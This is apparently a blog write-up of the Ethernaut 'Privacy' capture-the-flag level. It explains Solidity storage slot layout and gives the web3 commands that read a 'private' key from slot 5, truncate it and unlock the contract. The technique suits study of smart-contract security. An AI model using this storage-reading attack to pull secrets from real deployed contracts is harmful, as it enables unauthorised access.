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Naveen ⚡
Naveen ⚡

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Ethernaut Hacks Level 12: Privacy

This is the level 12 of OpenZeppelin Ethernaut web3/solidity based game.

Pre-requisites

Hack

Given contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Privacy {

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) public {
    data = _data;
  }

  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}
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player has to set locked state variable to false.

This is similar to level 8: Vault where any state variable (irrespective of whether it is private) can be read given it's slot number.

unlock uses the third entry (index 2) of data which is a bytes32 array. Let's determined data's third entry's slot number (each slot can accommodate at most 32 bytes) according to storage rules:

  • locked is 1 byte bool in slot 0
  • ID is a 32 byte uint256. It is 1 byte extra big to be inserted in slot 0. So it goes in & totally fills slot 1
  • flattening - a 1 byte uint8, denomination - a 1 byte uint8 and awkwardness - a 2 byte uint16 totals 4 bytes. So, all three of these go into slot 2
  • Array data always start a new slot, so data starts from slot 3. Since it is bytes32 array each value takes 32 bytes. Hence value at index 0 is stored in slot 3, index 1 is stored in slot 4 and index 2 value goes into slot 5

Alright so key is in slot 5 (index 2 / third entry). Read it.

key = await web3.eth.getStorageAt(contract.address, 5)

// Output: '0x5dd89f7b81030395311dd63330c747fe293140d92dbe7eee1df2a8c233ef8d6d'
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This key is 32 byte. But require check in unlock converts the data[2] 32 byte value to a byte16 before matching.

byte16(data[2]) will truncate the last 16 bytes of data[2] and return only the first 16 bytes.

Accordingly convert key to a 16 byte hex (with prefix - 0x):

key = key.slice(0, 34)

// Output: 0x5dd89f7b81030395311dd63330c747fe
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Call unlock with key:

await contract.unlock(key)
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Unlocked! Verify by:

await contract.locked()

// Output: false
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